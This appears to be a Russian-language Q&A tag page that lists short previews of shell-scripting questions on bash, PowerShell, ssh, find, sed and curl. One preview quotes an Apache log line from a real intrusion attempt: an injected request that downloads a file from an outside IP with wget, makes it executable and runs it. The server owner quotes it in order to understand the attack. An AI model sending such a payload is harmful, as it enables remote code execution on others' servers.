Новые вопросы с тегом «shell-script»

Всего найдено 1108 вопросов

0
голосов
1
ответ
203
просмотра

Как автоматически заблокировать (Win + L) компьютер, если кабель Ethernet удален или пропал сигнал Ethernet

Я хочу, чтобы моя система автоматически блокировалась всякий раз, когда я отсоединяю кабель Ethernet, или мои сигналы локальной сети падают. Любой сценарий PowerShell или любая идея службы я могу запустить? Я использую Windows 7 и Windows 10.
спросил user968737 2 года назад

1
голосов
1
ответ
155
просмотров

Как правильно обрабатывать расширение .js в bash-скрипте?

У меня есть следующий скрипт bash. while IFS= read -r filename; do [[ $(md5 path/to/"$filename-orig") = $(md5 path/to/"$filename") ]] || echo $filename differs; done < path/to/list-of-files-to-compare.txt Предполагается сравнить два файла (вычисляя их хэш-дайджест MD5), а затем сообщить, отличаю...
спросил Mowzer 2 года назад

0
голосов
1
ответ
149
просмотров

Перезапустить при проверке сценария сбоя

Я пытаюсь создать сценарий оболочки, который проверяет, запущены ли 2 разных процесса, и перезапускает их, если они не запущены. Я просто хочу, чтобы все было просто. Это правильный путь, потому что не похоже, что вторая часть работает ... trap "exit" SIGINT while true : do ./stream.sh echo "Stream...
спросил Orophix 2 года назад

0
голосов
0
ответов
167
просмотров

как молча скопировать открытый ключ, используя ssh-copy-id

Я копирую свой открытый ключ на другую машину, используя ssh-copy-id. $ sudo ssh-copy-id -i /home/vagrant/.ssh/id_rsa.pub vagrant@datanode1.com /bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/home/vagrant/.ssh/id_rsa.pub" The authenticity of host 'datanode1.com (192.168.10.34)' can't be...
спросил Rajkumar Natarajan 2 года назад

0
голосов
0
ответов
138
просмотров

обновить значение свойства PasswordAuthentication как yes в / etc / ssh / sshd_config в автоматическом режиме

Я хочу обновить файл / etc / ssh / sshd_config с PasswordAuthentication как да. Я могу сделать это с помощью viредактора. Можно ли сделать то же самое тихо с командой Unix.
спросил Rajkumar Natarajan 2 года назад

0
голосов
1
ответ
126
просмотров

Linux находит команды для отображения файлов старше 7 дней - без использования метки времени

есть процесс, который создает файлы каждые полчаса. Я хочу удалить файлы старше 7 дней. Но когда я запускаю эту команду, она удаляет файл старше семи дней из текущей метки времени запуска, но я не хочу удалять по метке времени, я просто хочу удалить все файлы, созданные в этот день или раньше. Коман...
спросил Aditya 2 года назад

2
голосов
1
ответ
203
просмотра

Поиск завершается неудачно с «Too Many Arguments» в Shell Script, но не при запуске непосредственно в терминале

У меня есть рабочая станция, которая временно хранит изображения перед загрузкой сжатых версий на сервер для безопасного хранения. У меня есть интерес к удалению старых файлов один раз в день в 3 часа ночи, используя сценарий, запланированный через launchd. #!/bin/bash find /some/directory/with/pict...
спросил Nestarion 2 года назад

0
голосов
0
ответов
147
просмотров

Как запустить Shell Script в Windows с виртуальной средой?

Я создал виртуальную среду в моей системе с каталогом под названием virt_env. Я установил необходимые скрипты Python. Теперь я хочу запустить .shскрипт из той же виртуальной среды. Если я следую этому в системе на основе Linux, я могу просто запустить ./shell_script.sh. Но в окнах я должен использов...
спросил Mohamed Thasin ah 2 года назад

0
голосов
0
ответов
159
просмотров

Как мне заставить эту простую команду ffmpeg работать в Automator?

У меня проблемы с получением простого сценария оболочки Automator для работы. Я пытаюсь получить командную строку ffmpeg для запуска задачи над файлом, который перетащен на значок приложения. Вот что я сделал: Запустить Automator.app Создан новый сервис с сервисом получения файлов или папок в любом...
спросил Myles 2 года назад

3
голосов
1
ответ
140
просмотров

Используйте параметры в скрипте bash, используя curl

Я создаю сценарий, который делает запрос curl на предопределенный сайт. К сожалению, скрипт находит 3 параметра, но curl не работает должным образом. В чем проблема? Вот моя попытка. random="$(cat something.txt)" echo "ID: $ - File: $1 - Var: $2 - Cookie: $3" url="$(curl -i -L -X POST --cookie 'info...
спросил Timmy 2 года назад

0
голосов
1
ответ
218
просмотров

Bash скрипт должен конвертировать строку в дату

Здравствуйте, у меня есть скрипт bash для проверки целостности резервных копий. Мне нужно отредактировать его, так как я должен предупредить меня, когда самая старая резервная копия более 60 дней (когда мы ее удаляем). Теперь дата извлекается из другого файла OLDEST_DATE=`cat /tmp/B_BACKUP_TMP.out...
спросил stefzeer 2 года назад

0
голосов
1
ответ
147
просмотров

Автоматизируйте процесс, используя скрипт bash

У меня есть клиентский процесс unimrcp (ucp), и я хочу создать несколько ucp, используя скрипт оболочки. Всякий раз, когда я порождаю UCP, он возвращает командную строку, с помощью которой я могу получить доступ к различным функциям в UCP. Итак, я хочу написать сценарий, который достигает следующего...
спросил sbhatt 2 года назад

0
голосов
1
ответ
212
просмотров

Как повторить символ N раз с printf

У меня есть функция, которая передает строку. Я хочу, чтобы эта функция дополняла эту строку *строкой. Допустим, я передаю, foo barя хочу напечатать что-то вроде *************** *** foo bar *** *************** Я сталкиваюсь с проблемами при оценке длины строки и использую это с printf. Вот что я по...
спросил LouieV 2 года назад

0
голосов
3
ответа
190
просмотров

Как отобразить цветной текст в терминале?

Я хочу отображать цветной текст в терминале (оболочка bash). Пробовал с таким подходом: echo -e "\e[1;31m This is red text \e[0m" Но это не меняет цвет текста на красный.
спросил Arin 2 года назад

0
голосов
1
ответ
155
просмотров

Как найти и распаковать файлы, затем удалить их

Мне нужно найти файлы старше 30 дней, распаковать их, сжать и удалить те, которые я уже распаковал и сжал. Я пытался выполнить что-то вроде этого, но это не похоже на его работу find /u01/oracle/files -mtime +30 -exec tar -czvf filename_$(date +%Y-%m-%d).tar.gz /u01/oracle/files {} \;
спросил R_Mat 2 года назад

-1
голосов
1
ответ
187
просмотров

find и grep выдают разные выходные данные, если выполняются из файла скрипта или командной строки

Я использую эти команды для поиска в нескольких PDF-файлах, учитывая путь к файлу: >>find /home/ad0x/Documents/Skola/Flervariabel/Tentor -name '*.pdf' -exec sh -c 'pdftotext "{}" - | grep --with-filename --label="{}" --color "phrase"' \; Где phraseтермин, который вы хотите найти в PDF-файлах....
спросил ad0x 2 года назад

0
голосов
0
ответов
138
просмотров

Pashua Mac не позволит мне выровнять изображение поверх поля ввода. Я пробовал разные варианты, но безрезультатно

Недавно я начал играть с Пашуа, но, похоже, это доставляет мне некоторые неприятности. В настоящее время я использую это для сценария оболочки (Bash) и отредактировал файл примера, чтобы приблизиться к желаемым результатам, но пока не достиг. Я заметил несколько вещей. У Pashua есть файл с именем «P...
спросил James Dean 2 года назад

0
голосов
2
ответа
202
просмотра

Проходить по каталогам по заданному пути, пока не будет достигнут существующий каталог

У меня есть неизвестный путь, указанный пользователем, где я хотел бы создать файл. Поскольку у меня нет разрешений на запись, мне нужно найти первый существующий каталог в пути, идущем изнутри наружу, и проверить наличие разрешений на запись. Например foo/moo/doo я пробовал for d in "$dirpath"/ ;...
спросил Jocky Doe 2 года назад

1
голосов
1
ответ
137
просмотров

Сценарии оболочки: изменить ширину страницы PDF?

У меня есть отсканированный файл PDF, где разные страницы имеют разную ширину страницы из-за того, как PDF был объединен из нескольких источников. Это сбивает с толку зрителей. Есть ли инструмент командной строки, который может назначить всем страницам одинаковую ширину? Так как сканирование большое...
спросил kdb 2 года назад

1
голосов
0
ответов
244
просмотра

sed: Как заменить переменную строку, если она найдена, или добавить в конец файла, если она не найдена?

Так что мой вопрос в значительной степени основан на связанном вопросе, но имеет одно ключевое отличие. В ответе дано: sed '/^FOOBAR=/;$;x}' infile Я сделал вариант, который работает для того, чтобы сделать FOOBAR переменной (например, имя программы, а затем поместить ее в цикл for, чтобы составить...
спросил Wade S 2 года назад

0
голосов
2
ответа
226
просмотров

зацикливать (повторять) блокировку сценария до получения успешного пароля базы данных (mysql)

У меня есть следующая функция function executeMySql() { while IFS= read -p "$prompt" -r -s -n 1 char do if [[ $char == $'\0' ]]; then break fi if [[ $char == $'\177' ]]; then prompt=$'\b \b' password="$" else prompt='*' password+="$char" fi done mysql -u root -p$password -e "$1" ret=$? if [ $ret =...
спросил Jocky Doe 2 года назад

0
голосов
1
ответ
201
просмотр

функция bash с параметрами, которые нельзя использовать с eval в Msys2

Я использую Msys2 из PortableApps под Win 10. Ответ на этот вопрос (т. Е. Определение и решение проблемы) может быть связан с частью использования Unix / Linux или с его «адаптацией» к Windows через Msys2. Я не знаю этого заранее (в противном случае, я бы, вероятно, решил это сам!), Поэтому я ранее...
спросил sancho.s 2 года назад

0
голосов
1
ответ
145
просмотров

Нужна помощь в получении информации с узлов HyperV с помощью Powershell

Ниже мой скрипт для получения информации. Я получаю OSStatus и время безотказной работы как пустым в выводе. Может кто-то Пожалуйста, помогите мне получить вывод с помощью «Get-VM | Select-Object -ExpandProperty NetworkAdapters» и укажите, какую ошибку я здесь делаю. $clus = Read-Host 'Enter the Clu...
спросил CuriousPiyush 2 года назад

1
голосов
1
ответ
145
просмотров

Сценарий или команда, чтобы проверить, использовал ли пользователь пароль для входа в систему Windows

Есть ли способ проверить, использует ли пользователь пароль для входа в свой блокнот или какой-либо другой метод аутентификации? Я бы предпочел сделать это с помощью сценария. И, возможно, кто-то использовал glpi.
спросил AleksandrB 2 года назад

0
голосов
1
ответ
134
просмотра

Как выполнить файл .sh (raspberrypi), который присутствует в другой папке

Имя файла Sh: runme.sh Путь:/home/pi-bridger/ Я хочу запустить скрипт .sh, который находится под /home/pi-bridger/. Я могу запустить его внутри папки с помощью команды ./runme.sh. Я хочу запустить скрипт из любой другой папки, просто вызвав его.
спросил Raghav venkat 3 года назад

0
голосов
1
ответ
365
просмотров

sudo su с паролем, предоставленным в jenkins?

Я застрял с одним требованием, в котором я переключаюсь на какого-то пользователя «ххх», и он каждый раз запрашивает пароль. Я пытаюсь автоматизировать этот процесс с помощью пароля, жестко заданного в задании Дженкинса. пример: sudo su - пароль "xxx" должен быть указан в задании Jenkins Кто-нибудь...
спросил sp_devops 3 года назад

2
голосов
2
ответа
245
просмотров

Разбудить компьютер через Интернет, используя другой компьютер в той же локальной сети

У меня есть два компьютера на базе Arch Linux, «A» и «B», подключенные к Интернету через один и тот же маршрутизатор. Я настроил и протестировал Wake-on-WAN на обоих из них. Оба компьютера выключены большую часть времени. Я хотел бы подключиться к ним, не отправляя волшебные пакеты извне. Сетевая ка...
спросил ivanp7 3 года назад

30
голосов
2
ответа
3814
просмотров

Что делает этот скрипт bash? [Попытка взлома]

В последнее время я замечал на своих серверах логи apache, следующие странные строки: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" Поэтому я создал со...
спросил ndom91 3 года назад

1
голосов
0
ответов
141
просмотр

Как определить, какой тип содержимого в буфере обмена находится в macOS?

Я работаю над макросом Keyboard Maestro, чтобы сохранить содержимое буфера обмена на жестком диске, а затем передать файл в Yoink: Поскольку в буфер обмена будет помещено множество видов контента, например, PNG, JPG, TXT, RTFD и т. Д. Я знаю, что должен определить тип контента. Тогда я придумаю усл...
спросил Oscar Gong 3 года назад

1
голосов
1
ответ
150
просмотров

Как извлечь несколько URL-адресов из строки?

У меня есть строка, как показано ниже https://website.com/BTAE/2015/BTAE назначение jan 15.pdf²0ÔË '\ „QI„ “ÙP¾ ^ ŒŸZ ‡ @ Æ *] Ü. ^‚ vðƒ € Ù¾ »©š © Šñ' € é • ªÂIR # œÉgÉÛ ^ gMdÉ% 9¬e˜Hžôb¿'0 <î © ˜ô? lþzk… ÃÃÃórÈ; EW¦K³1… ìì¶ZFžŠÒô * ÄÖ \ ã] »' Вернуть ~ D & W :: Send {+} Вернуть ~ D & S...
спросил Aabir Hussain 3 года назад